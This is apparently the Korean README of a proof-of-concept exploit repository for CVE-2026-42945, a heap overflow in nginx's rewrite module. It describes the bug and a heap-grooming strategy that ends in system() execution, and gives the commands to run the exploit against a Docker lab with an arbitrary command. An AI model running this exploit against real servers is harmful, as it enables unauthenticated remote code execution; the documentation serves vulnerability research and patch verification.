
CVE-2026-42945 (nginx Rift)를 위한 PoC — ngx_http_rewrite_module의 힙 버퍼 오버플로. 탐지/프로브/익스플로잇 모드, 이중 환경 Docker 랩, 경험적 주소 발견, OOB 검증 오프셋 스위프를 포함합니다. 원본 공개: depthfirst.
CVE-2026-42945에 대한 RCE 개념 증명입니다. 이는 2008년에 도입된 NGINX의 ngx_http_rewrite_module의 심각한 힙 버퍼 오버플로입니다. rewrite ... ?... + set 캡처 조합을 사용하는 서버에 대해 인증되지 않은 원격 코드 실행을 가능하게 합니다.
원본 취약점 공개: depthfirst — 자동 소스 감사 시스템을 통해 CVE-2026-42946, CVE-2026-40701, CVE-2026-42934와 함께 발견되었습니다.
poc-CVE-2026-42945/
├── exploit.py — improved PoC (3 modes: --check / --probe / --exploit)
├── poc.py.orig — original depthfirst PoC (reference)
├── env/ — dual-fixture Docker lab
│ ├── Dockerfile (vuln: nginx commit 98fc3bb78)
│ ├── Dockerfile.patched (patched: release-1.31.0)
│ ├── docker-compose.yml (both services)
│ ├── nginx.conf (vulnerable rewrite + set config)
│ ├── entrypoint.sh (runs under setarch -R — ASLR off)
│ └── server.py (backend stub)
├── discover-addresses.sh — extract HEAP_BASE / LIBC_BASE / system() offset from running container
├── verify.sh — dual-fixture reproducer (exploit vuln, prove patched blocks)
├── setup.sh — build helper (legacy single-image)
├── references.md — full bug mechanics, exploitation strategy, mitigations
└── README.md — this file
2패스 스크립트 엔진, is_args 플래그 동기화 불일치:
is_args = 0를 인식 → 원시 캡처 길이 할당is_args = 1을 인식 → ngx_escape_uri(NGX_ESCAPE_ARGS) 3배 확장 → 힙 오버플로익스플로잇: POST /spray 본문을 통한 힙 펭 슈이 (본문에서 NUL 바이트 허용, 가짜 ngx_pool_cleanup_s 심기) + 인접한 ngx_pool_t.cleanup 헤드를 손상시키는 URI 오버플로. 풀 소멸 → system(cmd).
전체 메커니즘 및 익스플로잇 전략은 references.md에 있습니다.
| 제품 | 영향 받는 버전 | 수정 버전 |
|---|---|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.30.1, 1.31.0 |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
공급업체 권고사항: https://my.f5.com/manage/s/article/K000160932
# Build both fixtures
docker compose -f env/docker-compose.yml build
# Start lab (vuln=:19321, patched=:19421)
docker compose -f env/docker-compose.yml up -d
# Detect-only (no overflow trigger)
python3 exploit.py --check --host 127.0.0.1 --port 19321
# Full exploit
python3 exploit.py --exploit --host 127.0.0.1 --port 19321 \
--cmd 'echo pwned > /tmp/rift'
docker exec nginx-rift-vuln cat /tmp/rift
# Dual-fixture verify (exploit vuln + confirm patched blocks)
./verify.sh
# Teardown
docker compose -f env/docker-compose.yml down
로컬호스트가 아닌 대상은 --i-have-tested-this 플래그가 필요합니다 (하드코딩된 오프셋이 배포된 빌드와 일치한다는 인정).
기본 --heap-base / --libc-base / --system-offset는 번들 랩의 값입니다 (Ubuntu 22.04 / glibc 2.35 / nginx commit 98fc3bb78 / ASLR off). 새 빌드 또는 다른 libc의 경우:
docker compose -f env/docker-compose.yml up -d nginx-vuln
./discover-addresses.sh
# Copy values into exploit.py invocation
setarch -R을 통해 ASLR을 비활성화합니다. 실제 대상은 ASLR이 활성화되어 있어 추가 정보 유출 프리미티브가 필요합니다.rewrite ... ? + set $X $N 조합이 필요합니다. 많은 실제 구성에는 이 조합이 없습니다.--check 탐지 모드, --probe 오프셋 열거, 패치된 픽스처, 주소 탐색 도우미, 이중 픽스처 검증기 추가| 모드 | 사용 사례 | 부작용 |
|---|
--check | 리라이트 서페이스 존재 여부 탐지 | 없음 — 소형 프로브 URI만 전송 |
--probe | 이 빌드의 스프레이 랜딩 오프셋 열거 | 검색 중 워커 크래시; 실행 없음 |
--exploit | 전체 RCE 체인 | 워커 크래시 + --cmd로 system() 호출 |